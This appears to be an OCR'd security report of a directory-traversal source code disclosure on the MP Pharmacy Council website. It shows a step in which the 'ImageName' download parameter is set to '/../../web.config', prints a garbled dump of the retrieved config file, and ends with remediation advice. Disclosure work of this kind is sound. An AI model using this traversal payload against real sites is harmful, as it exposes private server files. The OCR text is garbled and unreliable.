Source Code Disclosure in MPSPC Website

Step1: An attacker navigates to the home page of MPSPC application at the URL:
http://mppharmacycouncil.nic.in/.
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Step3: He pastes the Copied link in the address bar of the browser.
(http://mppharmacycouncil.nic.in/DownloadHandler.ashx?ImageName=2011120211515834

31059prarupofnewabhivachanpatra.pdf).

x\-. \ =1 e

,."' | % Home: Madhya Pradesh stat % :"’ Mew Tab

C | [ vt/ fmppharmacycouncil nic.in/DownloadHandler ashx ?Imageklame=20111202 115158343 1059prarupofnewabhivachanpatra, pdf

Q Stumble! | ) Zeus Crimeware Toolki.. | Login Macro Yiruses :‘ .onion sites - what the... @ Grub 2 Password Prok... 5 [SOLVED] Wehat's the ...

Mot signed in to Chrome
(You're missing out—sign in)

Step4: He changes the value in the “ImageName” parameter to /../../web.config and
sends the request and the web.config file is downloaded successfully.

,.-‘" | % Home: Madhya Pradesh stat x)',‘f [ mppharmacycounci.nic.infdo % \_ \ =R GRS
P ) — o =
&~ C [ mppharmacycounci.nic.in/dowrioadhander astectimagename=. /.. /. fieb.config e =
Q Stumble! | ) Zeus Crimeware Toolki... | Login Macro Yiruses ﬂ .onion sites - what the... @ Grub 2 Password Prot... @ [SOLVED] Wehat's the ...

Download was transferred to Free Download Manager...
Please use "Back" button to go back

Add download

URL: |http:f’.-"mppharmac:ycnuncil.nic.in.-"downloadhandler.ashx‘?imagename w ‘

[ Uszer name and passward are required M alicious? Hirrars

Download type: | Save file v |
Graup: | Other w | El
Save to folder.

|E'\annlnad\ v | EI

Generate a file name automatically

Comment:
Start
() Automatically
) Manually
Schedul ]
@ Gtz []Place download at the tap of the list

[ Query size ] [ Advanced ] [ ak. ] [ Cancel



http://mppharmacycouncil.nic.in/DownloadHandler.ashx?ImageName=201112021151583431059prarupofnewabhivachanpatra.pdf
http://mppharmacycouncil.nic.in/DownloadHandler.ashx?ImageName=201112021151583431059prarupofnewabhivachanpatra.pdf
http://mppharmacycouncil.nic.in/DownloadHandler.ashx?ImageName=201112021151583431059prarupofnewabhivachanpatra.pdf

-

xml wersion="1.0"2>

Note: Az an alternatiwe to hand editing this file you can use the
web adwmin tool to configure settings for your application. Use
the Website-xasp.Net Configuration option in ¥isual Studio.

& full list of settings and comments can be found in

wmachine. config. conments usually located in
Yiindows\Microsoft.Net) Framework \ w2, ¥\ Config

confiquration-
<configiectionss
<gectionGroup hame="systen.weh.extensions” type="S5Systen.Web.Configquration. SystenlebExtensionsiectionbroup,
Systen.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556AD3G4E35">

<sectionGroup name="scripting” type="Systew.Web.Confimuration. ScriptingiectionGroup, Systen.Web.Extensions,
Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556AD3G4E35™
<zsection name="scriptResourceHandler” type="S3ysten.Web.Confiquration. ScriptingicriptResourceHandlerSection,

Syaten.Weh Extensions, Wersion=3.5.0.0, Culture=neutral, PublicEeyToken=31BF3856AD3G4E35" requirePermnission="false"

allowbefinition="MachineTokpplication™ />

<sectionGroup name="weh3ervices” type="3ysten.Web.Confimration.ScriptingWebiervicesiectionGroup,

Systen.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556AD364E357=
<section name="jsonSerialization’ type="S%ystew.Web.Confiquration.ScriptinglsonlerializationSection,
Systen.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556ADIE4AE35™
requirePernission="false™ allowDefinition="Everywhere” />
<£section name="profilefdervice” type="Systewn.Web.Confiquration. ScriptingProfilelervicelection,
System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556AD364E35™
requirePernission="false™ allowbefinition="MachineToipplication" />

<£zection name="authenticationService”™ type="Systen.Web.Configuration.ScriptingduthenticationferviceSection,

Systen.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3556AD364E35™
requirePernission="£false™ allowbefinition="MachineTohpplication™

<zection name="rolelervice"” type="Systen.Web.Configquration.jcriptingRolelervicelection, Systen.Web.Extensions,

Version=3.5.0.0, Culture=neutral, PublicKeyToken=31EF3856AD3E4AEIET requirePernission="false"
allowbefinition="MachineTodpplication' />
< /gectionGroup>
< /gectionbroup>

</sectionGroups
<gectionGroup name="modulesSection =

<section name="rewriteModule” type="FewriteModule.RewriteModuleSectionHandler, RewriteModule™ />

Recommendation: Please implement any one of the below

Directly refer the pdf path instead of using the ashx page
Implement indexing and pass the index values in the “ImageName” parameter
Validate for .pdf extension and also block directory traversal (/../) characters.




